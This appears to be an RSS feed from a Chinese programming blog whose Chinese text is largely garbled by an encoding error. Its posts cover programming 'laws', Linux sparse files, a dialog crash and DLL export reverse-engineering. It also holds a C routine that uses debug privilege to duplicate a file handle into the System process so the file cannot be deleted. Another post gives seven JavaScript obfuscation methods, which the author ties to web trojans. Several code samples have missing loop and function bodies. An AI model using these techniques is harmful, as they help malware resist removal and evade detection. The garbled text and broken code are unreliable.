??xml version="1.0" encoding="utf-8" standalone="yes"?>久久久久国产精品,免费观看成人久久网免费观看,亚洲精品乱码久久久久久蜜桃图片 http://m.shnenglu.com/elva/archive/2010/10/10/129324.html叶子叶子Sun, 10 Oct 2010 04:41:00 GMThttp://m.shnenglu.com/elva/archive/2010/10/10/129324.htmlhttp://m.shnenglu.com/elva/comments/129324.htmlhttp://m.shnenglu.com/elva/archive/2010/10/10/129324.html#Feedback0http://m.shnenglu.com/elva/comments/commentRss/129324.htmlhttp://m.shnenglu.com/elva/services/trackbacks/129324.html

[英文出处]Q?a >21 Laws of Computer Programming
[译文出处]Q?a target=_blank>外刊IT评论

M一个有l验的程序员都知道,软g开发遵循着一些不成文的法则。然而,如果你不遵@q些法则也ƈ不意味着?x)受到惩|;相反Q有时你q会(x)获得意外的好处?/p>

下面的就是Y件编E中?1条法则:(x)

 

  1. ME序一旦部|即N旧?
  2. 修改需求规范来适应E序比反q来做更Ҏ(gu)?
  3. 一个程序如果很有用Q那它注定要被改掉?
  4. 一个程序如果没用,那它一定会(x)有很好的文?
  5. ME序里都仅仅只有10%的代码会(x)被执行到?
  6. 软g?x)一直膨胀到耗尽所有资源ؓ(f)止?
  7. M一个有点h(hun)值的E序里都?x)有臛_一个bug?
  8. 原型完美的程度跟审视的h数成反比Q反比g(x)随着涉及(qing)的资金数增大?
  9. 软g直到被变成品运行至?个月后,它最严重的问题才?x)被发现?
  10. 无法到的错误的形式无限多样Q而能被检到的正好相反,被定义了的十分有限?
  11. 修复一个错误所需要投入的努力?x)随着旉成指数增加?
  12. 软g的复杂度?x)一直增加,直到出l护q个E序的h的承受能力?
  13. M自己的程序,几个月不看,形同其他人写的?
  14. M一个小E序里面都有一个巨大的E序蠢蠢Ʋ出?
  15. ~码开始的早Q花费的旉长?
  16. 一个粗心的目计划?x)让你多?倍的旉d成;一个细心的目计划只会(x)让你多花2倍的旉?
  17. 往大型目里添加h手会(x)佉K目更延迟?
  18. 一个程序至会(x)完成90%Q但永远完成不了过95%?
  19. 如果你想ȝ被自动处理掉Q你得到的是自动产生的麻烦?
  20. 开发一个傻瓜都?x)用的软gQ只有傻瓜愿意用它?
  21. 用户不会(x)真正的知道要在Y仉做些什么,除非使用q?


叶子 2010-10-10 12:41 发表评论
]]>
Linux对稀疏(SparseQ文件的支持http://m.shnenglu.com/elva/archive/2008/06/26/54662.html叶子叶子Thu, 26 Jun 2008 05:47:00 GMThttp://m.shnenglu.com/elva/archive/2008/06/26/54662.htmlhttp://m.shnenglu.com/elva/comments/54662.htmlhttp://m.shnenglu.com/elva/archive/2008/06/26/54662.html#Feedback1http://m.shnenglu.com/elva/comments/commentRss/54662.htmlhttp://m.shnenglu.com/elva/services/trackbacks/54662.html

E疏(SparseQ文件的创徏

  1. 在EXT2/EXT3文gpȝ上可以用dd创徏E疏文Ӟ(x)

    $ dd if=/dev/zero of=fs.img bs=1M seek=1024 count=0
    0+0 records in
    0+0 records out
    $ ls -lh fs.img
    -rw-rw-r--  1 zhigang zhigang 1.0G Feb  5 19:50 fs.img
    $ du -sh fs.img
    0       fs.img

  2. 使用C语言来创Z个稀疏文件的Ҏ(gu)如下Q?br>
    $ cat sparse.c
    #include 
    <sys/types.h>
    #include 
    <sys/stat.h>
    #include 
    <fcntl.h>
    #include 
    <unistd.h>

    int main(int argc, char *argv[])
    {
        
    int fd = open("sparse.file", O_RDWR|O_CREAT);
        lseek(fd, 
    1024, SEEK_CUR);
        write(fd, 
    "\0"1);

        
    return 0;
    }


    $ gcc 
    -o sparse sparse.c
    $ .
    /sparse
    $ ls 
    -l sparse.file
    -r-x--x---  1 zhigang zhigang 1025 Feb  5 23:12 sparse.file
    ]$ du sparse.file
    4       sparse.file

  3.  使用python来创Z个稀疏文件的Ҏ(gu)如下Q?

    $ cat sparse.py
    #!/usr/bin/env python

    = open('fs.img''w')
    f.seek(
    1023)
    f.write(
    '\n')

    $ python sparse.py
    $ ls 
    -l fs.img
    -rw-rw-r--  1 zhigang zhigang 1024 Feb  5 20:15 fs.img
    $ du fs.img
    4       fs.img


    文gE疏化QsparsifyQ?/strong>

    下面的方法都可以一个文件稀疏化?br>
    1. cp:

    $ cp --sparse=always file file.sparse


    cp~省使用--sparse=autoQ会(x)自动探测源文件中是否有空z,以决定目标文件是否ؓ(f)E疏文Ӟ使用--sparse=never?x)禁止创建稀疏文件?br>
    2. cpio:

    $ find file |cpio -pdmuv --sparse /tmp


    如果不加--sparse参数Q稀疏文件中的空z将被填满?

    3. tar:

    $ tar cSf - file | (cd /tmp/tt; tar xpSf -)


    如果不加 -S --sparse参数Q稀疏文件中的空z将被填满?

    文gE疏化QsparsifyQ效率比?/strong>

    下面我们创徏一?00M的稀疏文Ӟ比较一下几U文件稀疏化Ҏ(gu)的效率?

    $ dd if=/dev/zero of=file count=100 bs=1M seek=400
    100+0 records in
    100+0 records out
    $ time cp --sparse=always file file.sparse
    real    0m0.626s
    user    0m0.205s
    sys     0m0.390s

    $ time tar cSf - file | (cd /tmp; tar xpSf -)
    real    0m2.732s
    user    0m1.706s
    sys     0m0.915s

    $ time find file |cpio -pdmuv --sparse /tmp
    /tmp/file
    1024000 blocks
    real    0m2.763s
    user    0m1.793s
    sys     0m0.946s


    由此可见Q上面几U文件稀疏化的方法中Qcp的效率最高;tar和cpio׃使用道Q效率下降?

    使EXT2/EXT3文gpȝE疏化QsparsifyQ?/strong>

    如何是一个文件系l的映像文gE疏化QRon Yorston为大家提供了几种Ҏ(gu)Q我觉得下面的方法最单:(x)

    1. 使用Ron Yorston?a >zerofree文件系l中未用的块清零?br>

    $ gcc -o zerofree zerofree.c -lext2fs
    $ ./zerofree fs.img


    2.使用cp命o(h)使映像文件稀疏化Q?

    $ cp --sparse=always fs.img fs_sparse.img


     

    EXT2/EXT3文gpȝ的sparse_super参数

    q个参数与EXT2/EXT3是否支持Sparse文g无关Q当打开该参数时Q文件系l将使用更少的超U块QSuper blockQ备份,以节省空间?/p>

    如下的命令可以查看该参数Q?br>

    # echo stats | debugfs /dev/hda2 | grep -i features
    Filesystem features:      has_journal ext_attr resize_inode dir_index filetype needs_recovery sparse_super large_file


    或者:(x)

    # tune2fs -l /dev/hda2 |grep "Filesystem features"
    Filesystem features:      has_journal ext_attr resize_inode dir_index filetype needs_recovery sparse_super large_file


    可以通过使用Q?

    # tune2fs -O sparse_super


    或者:(x)

    # tune2fs -s [0|1]


    来设|该参数?

    参考资?br>

    1. Keeping filesystem images sparse:

              http://intgat.tigress.co.uk/rmy/uml/sparsify.html.



叶子 2008-06-26 13:47 发表评论
]]>
CFileDialog 异常退出的问题http://m.shnenglu.com/elva/archive/2008/06/18/53834.html叶子叶子Wed, 18 Jun 2008 03:52:00 GMThttp://m.shnenglu.com/elva/archive/2008/06/18/53834.htmlhttp://m.shnenglu.com/elva/comments/53834.htmlhttp://m.shnenglu.com/elva/archive/2008/06/18/53834.html#Feedback9http://m.shnenglu.com/elva/comments/commentRss/53834.htmlhttp://m.shnenglu.com/elva/services/trackbacks/53834.html两行单的代码Q?br>
CFileDialog dlg(true);
    dlg.DoModal();

W一ơ随侉K择一个文ӞW二ơ选择桌面的一?txt文gQ当鼠标Ud到这个txt文g的时候,E序挂了。怀疑是 微Y的问题?

换api操作Q照h?br>
换记事本Q挂?br>
Windbg跟踪Q找不到哪个模块Q程序最后崩溃在shell32.dllQ检查进E的dll模块Q最后终于找到是Adobe的pdfshell.dll引v的。删除掉或者regsvr32 /u 卸蝲可以了。水qx限,不能跟进那个dllL查了?br>

pdf版本7.0.8.0
pȝxp sp2

叶子 2008-06-18 11:52 发表评论
]]>
[转]一D늲巧的代码~~ring3文g占坑大法http://m.shnenglu.com/elva/archive/2008/02/04/42511.html叶子叶子Mon, 04 Feb 2008 03:57:00 GMThttp://m.shnenglu.com/elva/archive/2008/02/04/42511.htmlhttp://m.shnenglu.com/elva/comments/42511.htmlhttp://m.shnenglu.com/elva/archive/2008/02/04/42511.html#Feedback0http://m.shnenglu.com/elva/comments/commentRss/42511.htmlhttp://m.shnenglu.com/elva/services/trackbacks/42511.html
BOOL OccupyFile( LPCTSTR lpFileName );


int main()
{
    OccupyFile("c:\\aaa111.txt");

    return 0;
}



void RaiseToDebugP()
{
    HANDLE hToken;
    HANDLE hProcess = GetCurrentProcess();
    if ( OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) )
    {
        TOKEN_PRIVILEGES tkp;
        if ( LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid) )
        {
            tkp.PrivilegeCount = 1;
            tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            
            BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0) ;
        }
        CloseHandle(hToken);
    }    
}

BOOL OccupyFile( LPCTSTR lpFileName )
{
    BOOL    bRet;
    
    RaiseToDebugP();

    HANDLE hProcess = OpenProcess( PROCESS_DUP_HANDLE, FALSE, 4);    // 4为systemq程?br>
    if ( hProcess == NULL )
    {
        hProcess = OpenProcess( PROCESS_DUP_HANDLE, FALSE, 8);        // 2K下是 8??
        
        if ( hProcess == NULL )
            return FALSE;
    }

    HANDLE hFile;
    HANDLE hTargetHandle;

    hFile = CreateFile( lpFileName, GENERIC_READ, 0, NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL);    


    if ( hFile == INVALID_HANDLE_VALUE )
    {
        CloseHandle( hProcess );
        return FALSE;
    }

    bRet = DuplicateHandle( GetCurrentProcess(), hFile, hProcess, &hTargetHandle,
        0, FALSE, DUPLICATE_SAME_ACCESS|DUPLICATE_CLOSE_SOURCE);

    CloseHandle( hProcess );

    return bRet;
}

叶子 2008-02-04 11:57 发表评论
]]>
清空代码防止查看源代?ZT) http://m.shnenglu.com/elva/archive/2007/12/12/38312.html叶子叶子Wed, 12 Dec 2007 06:55:00 GMThttp://m.shnenglu.com/elva/archive/2007/12/12/38312.htmlhttp://m.shnenglu.com/elva/comments/38312.htmlhttp://m.shnenglu.com/elva/archive/2007/12/12/38312.html#Feedback0http://m.shnenglu.com/elva/comments/commentRss/38312.htmlhttp://m.shnenglu.com/elva/services/trackbacks/38312.htmlHTML代码

[Ctrl+A 全部选择 提示Q你可先修改部分代码Q再按运行]


q招是目前|上公布的防止查看源代码的方法中最好的了,当然了,要看q是办法的,比如在地址栏中输入

javascript:alert(document.documentElement.outerHTML);

叶子 2007-12-12 14:55 发表评论
]]>
JavaScript加密解密7U方?/title><link>http://m.shnenglu.com/elva/archive/2007/12/12/38308.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Wed, 12 Dec 2007 06:29:00 GMT</pubDate><guid>http://m.shnenglu.com/elva/archive/2007/12/12/38308.html</guid><wfw:comment>http://m.shnenglu.com/elva/comments/38308.html</wfw:comment><comments>http://m.shnenglu.com/elva/archive/2007/12/12/38308.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.shnenglu.com/elva/comments/commentRss/38308.html</wfw:commentRss><trackback:ping>http://m.shnenglu.com/elva/services/trackbacks/38308.html</trackback:ping><description><![CDATA[<div id="cum8ye8" class=postbody><span id=ad_02>本文一׃l了七种javascript加密Ҏ(gu)Q?br><br>  在做|页Ӟ其实是网|马呵呵)Q最让h烦恼的是自己辛辛苦苦写出来的客户端IEq行的javascript代码常常被别易的拯Q实在让自己的心里有点不是滋呻I要知道自己写点东西也挺篏?.....^*^<br><br>  但我们也应该清楚地认识到因ؓ(f)javascript代码是在IE中解释执行,要想l对的保密是不可能的Q我们要做的是可能的增大拯者复制的隑ֺQ让他知难而退Q但愿~!~Q,下面我结合自p几年来的实践Q及(qing)个h研究的心得,和大家一h探讨一下网中javascript代码的加密解密技术?br><br>  以加密下面的javascript代码ZQ?br><br><SCRIPT LANGUAGE="javascript"><br>alert("《我׃赗?);<br></SCRIPT><br><br>  <strong>一Q最单的加密解密</strong><br><br>  大家对于javascript函数escape()和unescape()惛_是比较了解啦Q很多网加密在用它们)Q分别是~码和解码字W串Q比如例子代码用escape()函数加密后变为如下格式:(x)<br><br>alert%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B<br><br>  如何Q还看的懂吗Q当然其中的ASCII字符"alert"q没有被加密Q如果愿意我们可以写点javascript代码重新把它加密如下Q?br><br>%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B<br><br>  呵呵Q如何?q次是完全都加密了!<br><br>  当然Q这样加密后的代码是不能直接q行的,q好q有eval(codeString)可用Q这个函数的作用是查javascript代码q执行,必选项 codeString 参数是包含有?javascript 代码的字W串|加上上面的解码unescape()Q加密后的结果如下:(x)<br><br><SCRIPT LANGUAGE="javascript"><br>var code=unescape("%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B");<br>eval(code)<br></SCRIPT> <p>  是不是很单?不要高兴Q解密也同L(fng)单,解密代码都摆l别人啦Qunescape()Q!呵呵<br><br>  <strong>二:(x)转义字符""的妙?/strong><br><br>  大家可能对{义字W?"不太熟?zhn)Q但对于javascript提供了一些特D字W如Qn Q换行)?r Q回车)? Q单引号Q等应该是有所了解的吧Q其?"后面q可以跟八进制或十六q制的数字,如字W?a"则可以表CZؓ(f)Q?141"?x61"Q注意是写字符"x"Q,至于双字节字W如汉字"?则仅能用十六q制表示?u9ED1"Q注意是写字符"u"Q,其中字符"u"表示是双字节字符Q根据这个原理例子代码则可以表示为:(x)</p> <p>  八进制{义字W串如下:</p> <p class=code><SCRIPT LANGUAGE="javascript"><br>eval("1411541451621645042u9ED1u5BA2u9632u7EBF425173")<br></SCRIPT></p> <p>  十六q制转义字符串如?</p> <p class=code><SCRIPT LANGUAGE="javascript"><br>eval("x61x6Cx65x72x74x28x22u9ED1u5BA2u9632u7EBFx22x29x3B")<br></SCRIPT></p> <p>  q次没有了解码函敎ͼ因ؓ(f)javascript执行时会(x)自行转换Q同栯码也是很单如下:(x)</p> <p class=code><SCRIPT LANGUAGE="javascript"><br>alert("x61x6Cx65x72x74x28x22u9ED1u5BA2u9632u7EBFx22x29x3B")<br></SCRIPT></p> <p>  ׃(x)弹出对话框告诉你解密后的l果Q?br><br>  <strong>三:(x)使用Microsoft出品的脚本编码器Script Encoder来进行编?/strong><br><br>  工具的用就不多介绍啦!我是直接使用javascript调用控gScripting.Encoder完成的编码!代码如下Q?/p> <p class=code><SCRIPT LANGUAGE="javascript"><br>var Senc=new ActiveXObject("Scripting.Encoder");<br>var code='<SCRIPT LANGUAGE="javascript">rnalert("《我׃赗?);rn</SCRIPT>';<br>var Encode=Senc.EncodeScriptFile(".htm",code,0,"");<br>alert(Encode);<br></SCRIPT></p> <p>  ~码后的l果如下Q?/p> <p class=code><SCRIPT LANGUAGE="JScript.Encode">#@~^FgAAAA==@#@&lsDD`J黑客防线r#p@#@&FgMAAA==^#~@</SCRIPT></p> <p>  够难看懂得吧Q但相应的解密工h已出来,而且q解密网都有!因ؓ(f)其解密网代码过多,我就不多说拉Q给大家介绍一下我独创的解密代码,如下Q?/p> <p><SCRIPT LANGUAGE="JScript.Encode"><br>function decode()<br>alert(decode.toString());<br></SCRIPT></p> <p>  咋样Q够单吧Q它是原理是Q编码后的代码运行前IE?x)先对其q行解码Q如果我们先把加密的代码攑օ一个自定义函数如上面的decode()中,然后对自定义函数decode调用toString()Ҏ(gu)Q得到的是解码后的代码Q?/p> <p>  如果你觉得这L(fng)码得到的代码LANGUAGE属性是JScript.EncodeQ很Ҏ(gu)让h识破Q那么还有一个几乎不Zh知的window对象的方法execScript()Q其原Ş为:(x)</p> <p class=code>  window.execScript( sExpression, sLanguage ) </p> <p>  参数Q?br><br>sExpression:  必选项。字W串(String)。要被执行的代码?br><br>sLanguage :  必选项。字W串(String)。指定执行的代码的语a。默认gؓ(f) Microsoft JScript<br><br>使用Ӟ前面?window"可以省略不写Q?/p> <p>  利用它我们可以很好的q行~码后的javascript代码Q如下:(x)</p> <p class=code><SCRIPT LANGUAGE="javascript"><br>execScript("#@~^FgAAAA==@#@&lsDD`J我爱一起r#p@#@&FgMAAA==^#~@","JScript.Encode")<br></SCRIPT></p> <p>  你可以利用方法二对其中的""号内的字W串再进行编码,使得"JScript.Encode"以及(qing)~码特征?#@~^"不出玎ͼ效果?x)更好?/p> <p>  <strong>四:(x)LdNULI字W(十六q制00HQ?/strong><br><br>  一ơ偶然的实验Q我发现在HTML|页中Q意位|添加Q意个数的"I字W?QIE照样?x)正常显C其中的内容Qƈ正常执行其中的javascript 代码Q而添加的"I字W?我们在用一般的~辑器查看时Q会(x)昄形如I格或黑块,使得原码很难看懂Q如用记事本查看?I字W??x)变?I格"Q利用这个原理加密结果如下:(x)Q其中显C的"I格"代表"I字W?Q?/p> <p class=code><S C RI P T L ANG U A G E =" J a v a S c r i p t "> <br>a l er t (" ?nbsp;?nbsp;一 ?) ; <br>< / SC R I P T></p> <p>  如何Q是不是昑־׃八糟的?如果不知道方法的人很难想到要L里面?I字W?Q?0HQ的Q?br><br>  <strong>五:(x)无用内容混ؕ以及(qing)换行I格TAB大法</strong><br><br>  在javascript代码中我们可以加入大量的无用字符串或数字Q以?qing)无用代码和注释内容{等Q真正的有用代码埋没在其中Qƈ把有用的代码中能加入换行、空根{TAB的地方加入大量换行、空根{TABQƈ可以把正常的字符串用""来进行换行,q样׃(x)使得代码难以看懂Q如我加密后的Ş式如下:(x)</p> <p class=code><SCRIPT LANGUAGE="javascript"><br>"xajgxsadffgds";1234567890<br>625623216;var $=0;alert//@$%%&*()(&(^%^<br>//cctv function//<br>(//hhsaasajx xc<br>/*<br>asjgdsgu*/<br>"我爱一?//ashjgfgf<br>/*<br>@#%$^&%$96667r45fggbhytjty<br>*/<br>//window<br>)<br>;"#@$#%@#432hu";212351436<br></SCRIPT></p> <p>  臛_如果我看到这L(fng)代码是不?x)有心思去分析它的Q你哪?<br><br>  <strong>六:(x)自写解密函数?/strong><br><br>  q个Ҏ(gu)和一、二差不多,只不q是自己写个函数对代码进行解密,很多VBS病毒使用q种Ҏ(gu)对自w进行加密,来防止特征码扫描Q下面是我写的一个简单的加密解密函数Q加密代码如下(详细参照文g"加密.htm"Q:(x)</p> <p class=code><SCRIPT LANGUAGE="javascript"><br>function compile(code)<br>{ <br>var c=String.fromCharCode(code.charCodeAt(0)+code.length);<br>for(var i=1;i<code.length;i++)<br>alert(escape(c));<br>}<br>compile('alert("《我׃赗?);')<br></SCRIPT></p> <p>  q行得到加密l果为:(x)</p> <p class=code>o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd</p> <p>  相应的加密后解密的代码如下:(x)</p> <p class=code><SCRIPT LANGUAGE="javascript"><br>function uncompile(code)<br>{<br>code=unescape(code);<br>var c=String.fromCharCode(code.charCodeAt(0)-code.length);<br>for(var i=1;i<code.length;i++)<br>return c;<br>}<br>eval(uncompile("o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd"));<br></SCRIPT></p> <p>  <strong>七:(x)错误的利?/strong><br><br>  利用try{}catch(e){}l构对代码进行测试解密,虽然q个x很好Q呵呵,夸夸自己Q,因ؓ(f)实用性不大,我仅l个例子</p> <p class=code><SCRIPT LANGUAGE="javascript"><br>var a='alert("《我׃赗?);';<br>var c="";<br>for(var i=0;i<a.length;i++)<br>alert(c);<br>//上面的是加密代码Q当然如果真正用这个方法时Q不?x)把加密写上?br>//现在变量c是加密后的代码<br>//下面的函数t()先假讑ֈ始密码ؓ(f)Q,解密执行Q?br>//遇到错误则把密码加1Q然后接着解密执行Q直到正运?br>var d=c; //保存加密后的代码<br>var b=0; //假定初始密码?<br>t();<br>function t()catch(e){<br>c="";<br>for(var i=0;i<d.length;i++)<br>b+=1;<br>t();<br>//setTimeout("t()",0);<br>}<br>}<br></SCRIPT></p> </span></div> <img src ="http://m.shnenglu.com/elva/aggbug/38308.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.shnenglu.com/elva/" target="_blank">叶子</a> 2007-12-12 14:29 <a href="http://m.shnenglu.com/elva/archive/2007/12/12/38308.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>调用未知DLL中的导出函数 http://m.shnenglu.com/elva/archive/2007/10/30/35520.html叶子叶子Tue, 30 Oct 2007 07:20:00 GMThttp://m.shnenglu.com/elva/archive/2007/10/30/35520.htmlhttp://m.shnenglu.com/elva/comments/35520.htmlhttp://m.shnenglu.com/elva/archive/2007/10/30/35520.html#Feedback2http://m.shnenglu.com/elva/comments/commentRss/35520.htmlhttp://m.shnenglu.com/elva/services/trackbacks/35520.html 

不知道诸位看官是否有q这L(fng)l历Q在不经意之间发C个DLL文gQ它里边有不有的导出函数——但是由于你不知道如何调用这些函敎ͼ所以只能大发感慨而又无能为力焉。固然有些知名的DLL可以直接通过搜烦引擎来找到它的用方式(比如本文中的例子ipsearcher.dllQ,不过我们诚然不能希望自己总能交到q样的好q。所以在本文中,李马希望通过自己文理不甚通达的讲解能够给大家以授Z渔的效果?/p>

先决条g

阅读本文Q你需要具备以下先xӞ(x)

  • 初步了解汇编语言Q虽然你q不一定需要去LDLL中导出函数的汇编代码Q但是你臛_应该了解诸如push、movq些常用的汇~指令?
  • 一个能够查看DLL中导出函数的工具QVisual Studio中自带的Dependency Walkerp够胜MQ当然你也可以选择eXeScope?
  • 一个调试器。理Z讲VC也可以完成调试的工作Q但它毕竟是更加针对于源代码一U调试的工具Q所以你最好选择一个专用的汇编调试器。在本文中我用的是OllyDbg——我不会(x)介绍有关q个调试工具的Q何东西,而只是简要介l我的调试过E?

准备好了吗?那么我们做一个热w运动吧先?/p>

热n——函数调用约?/strong>

q里要详l介l的是有兛_数调用约定的内容Q如果你已经了解了这斚w的内容,可以跌本节?/p>

你可能在学习(fn)WindowsE序设计的时候早已接触过“函数调用U定”q个词汇了,那个时候你所了解的内容可能是一个笼l的概念Q内容大抉|说函数调用约定就是指的函数参数进栈顺序以?qing)堆栈修正方式。譬如cdecl调用U定是函数参数自双左q栈Q由调用者修复堆栈;stdcall调用U定亦是函数参数自右而左q栈Q但是由被调用者修复堆?#8230;…噢不Q这太晦涩了——在源代码上我们是无法看到这些东西的Q?/p>

那么我们别无选择Q只有深入到汇编一层了。考虑以下C++代码Q?/p>

#include <stdio.h>

int __cdecl max1( int a, int b )
{
    return a > b ? a : b;
}

int __stdcall max2( int a, int b )
{
    return a > b ? a : b;
}

int main()
{
    printf( "max( 1, 2 ) of cdecl version: %d\n", max1( 1, 2 ) );
    printf( "max( 1, 2 ) of stdcall version: %d\n", max2( 1, 2 ) );
    return 0;
}

对应的汇~代码ؓ(f)Q?/p>

; int __cdecl max1( int a, int b )
00401000 MOV EAX,DWORD PTR SS:[ESP+4]
00401004 MOV ECX,DWORD PTR SS:[ESP+8]
00401008 CMP EAX,ECX
0040100A JG SHORT CppTest.0040100E
0040100C MOV EAX,ECX
0040100E RETN

; int __stdcall max2( int a, int b )
00401010 MOV EAX,DWORD PTR SS:[ESP+4]
00401014 MOV ECX,DWORD PTR SS:[ESP+8]
00401018 CMP EAX,ECX
0040101A JG SHORT CppTest.0040101E
0040101C MOV EAX,ECX
0040101E RETN 8 ; 被调用者的堆栈修正

; max1( 1, 2 )
00401030 PUSH 2
00401032 PUSH 1
00401034 CALL CppTest.00401000
00401039 ADD ESP,8 ; 调用者的堆栈修正

; max2( 1, 2 )
0040104A PUSH 2
0040104C PUSH 1
0040104E CALL CppTest.00401010

好了Q我来简要介l一下。函数参C入函C是借由堆栈D完成的Q也是各个参C某种ơ序推入SS中——在cdecl与stdcallU定中,q个ơ序都是自右而左的。另外,׃参数推入了堆栈致堆栈指针ESP发生了变化,所以要在函数结束的时候重C正ESP。从上边的汇~代码中你也可以很清楚地看到QcdeclU定是在调用max1之后修正的ESPQ而stdcallU定则是在max2q回时借由RETN 8完成了这个修正工作?/p>

另外Q从上边的汇~代码中q可以看刎ͼ函数的返回值是由EAX带回的?/p>

庖丁解牛

在了解了以上的知识后Q我们就可以使用调试器来调试那个未知的DLL了。可以说Q这整个的调试过E充满了惊险和刺ȀQ而且我们q需要一定的技巧——如果你像我一样不喜欢阅读汇编代码的话?/p>

在本文中Q我所选择的调试示例是FTerm中附带的ipsearcher.dllQ它提供了对U真IP数据库的查询接口。下图是用Dependency Walker对其分析的结果:(x)

你可以看刎ͼq里Ҏ(gu)两个导出函数QLookupAddress和_GetAddressQ那么我们可以按照返回倹{调用约定、函数名、参数列表的序它们声明如下:(x)

? ? LookupAddress( ? );
? ? _GetAddress( ? );

是的Q有太多的未知,下面李马要逐一地破解这些问受?/p>

调试器不可能孤立地对DLLq行调试Q我们所需要的应该是一个合适的EXEQ这h助于我们的探I工作。在q里我选择的EXE是我~写的ipsearcher.exeQ当然这可能?x)让你认为我q篇文章的组l顺序有问题——毕竟是我已l知道了q两个导出函C后(~写了ipsearcher.exeQ还要假装成不知道的样子来对ipsearcher.dll来进行探IӞ所以我军_在下文中不对ipsearcher.exe的代码进行Q何关注,而是直接q入到ipsearcher.dll的领I?/p>

打开调试器,载入ipsearcher.exe。当ipsearcher.dll被装载后Q会(x)引发一个访问异常,可以忽略q个异常l箋调试。根据Dependency Walker的分析结果,在ipsearcher.dll?x00001BB0?x00001C40处各下一个断炏V现在在“IP地址”中输入一个IP地址Q这里以寒泉BBS的IPZQ,点击“查询”Q会(x)发现指o(h)跛_0x00001C40中(也就是_GetAddressQ,它的代码如下Q?/p>

10001C40 MOV EAX,DWORD PTR SS:[ESP+4] ; 一个参?/font>
10001C44 PUSH ipsear_1.10009BE8
10001C49 PUSH EAX
10001C4A CALL ipsear_1.LookupAddress ; 两个参数
10001C4F ADD ESP,8 ; LookupAddress是cdecl调用U定
10001C52 MOV EAX,ipsear_1.10009BE8
10001C57 RETN ; _GetAddressq厮也是cdecl调用U定

很短的几行代码,不过它已l可以提供这些信息了Q?/p>

  • 从SS的用来看,_GetAddress只带有一个参数?
  • _GetAddress中调用了LookupAddressQ后者带有两个参数?
  • 调用LookupAddress之后q行了堆栈修正,所以LookupAddress是cdecl调用U定?
  • _GetAddressq回时ƈ未进行堆栈修正,所以_GetAddress也是cdecl调用U定?

于是Q我们可以替换一下刚才的问号了:(x)

? CDECL LookupAddress( ?, ? );
? CDECL _GetAddress( ? );

下面可以q行单步调试了,当代码步?0001C44Ӟ你会(x)发现寄存器窗口发生了如下的变化:(x)

“202.207.177.9”l于出现了,q样一来我们可以l对问号q行替换了:(x)

? CDECL LookupAddress( PCSTR, ? );
? CDECL _GetAddress( PCSTR );

现在l箋对代码进行跟t,是进入LookupAddress的时候了。我们可以从先前_GetAddress的代码中可以发现Q这两个导出函数一直在围绕10009BE8q个地址做文章,那么我们p在单步调试LookupAddress的同时关注这个地址的数据改变。几步跟t之后,你会(x)发现10009BE8开头的8字节Q两个DWORDQ数据发生了改变Q变成了10009AB4?0009B1C。那么我们再转向q两个地址Q会(x)发现Q?/p>

q样一来就很清楚了Q?0009BE8是一个字W串指针的数l,它有两个元素。也是_(d)我们的函数声明可以换成这P(x)

? CDECL LookupAddress( PCSTR, PSTR* );
PSTR* CDECL _GetAddress( PCSTR );

接下来需要确定的是LookupAddress的返回g。纵观LookupAddress的返回代码,你会(x)发现q样的片断:(x)

; 片断1
10001C0B XOR EAX,EAX
10001C0D POP ESI
10001C0E RETN
; 片断2
10001C2B MOV EAX,1
10001C30 POP ESI
10001C31 RETN

也就是说Q这个函数有两个q回|(x)0?。那么最后的真相l于大白于天下—?/p>

BOOL CDECL LookupAddress( PCSTR, PSTR* );
PSTR* CDECL _GetAddress( PCSTR );

GetProcAddressQ?/strong>

到此为止Q这两个函数的声明终于让我们扑և来了。也怽?x)觉得这够了——接下来是用typedef定义函数指针Q然后用LoadLibrary、GetProcAddress调用q些函数的事情了?/p>

如果你真的这么认为的话,那我认ؓ(f)我有必要向你介绍q另外的一U方式?/p>

首先请你建立一个名为ipsearcher.def的文Ӟ然后在其中写入如下内容:(x)

LIBRARY "ipsearcher"

EXPORTS
LookupAddress @1
_GetAddress   @2

文件保存后Q进入到命o(h)行模式下Q输入以下命令(前提是你拥有Visual Studio的附带工具lib.exeq有正确的\径指向。以Visual Studio 6.0ZQ这个工具通常位于Microsoft Visual Studio\VC98\Bin下)Q?/p>

lib /def:ipsearcher.def

执行的结果有一个警告,不必理会(x)。这时候我们会(x)发现Qlib为我们生成了一个ipsearcher.lib?/p>

然后Q我们l编写ipsearcher.h文gQ如下:(x)

#ifndef IPSEARCHER_H
#define IPSEARCHER_H

#include <windows.h>

#pragma commentlib, "ipsearcher.lib" )

extern "C"
{

BOOL CDECL LookupAddress( PCSTR, PSTR* );

PSTR* CDECL _GetAddress( PCSTR );

};

#endif // IPSEARCHER_H

大功告成Q这h们就个光U秃的ipsearcher.dll做了一份SDK开发包Q而不必再使用动态加载的Ҏ(gu)了?/p>

ȝ一下再

其实Q探I一个DLLq像我q里所讲述的这么简单。这工作很可能需要阅d量的汇编代码Q了解DLL函数体的程才能使真相大白于天下。另外,q不能排除有的DLL被加密、加壟뀁反跟踪……也就是说对于ipsearcher.dllQ那直就是我捡了个便宜来借花献佛(jng)了?/p>

叶子 2007-10-30 15:20 发表评论
]]>
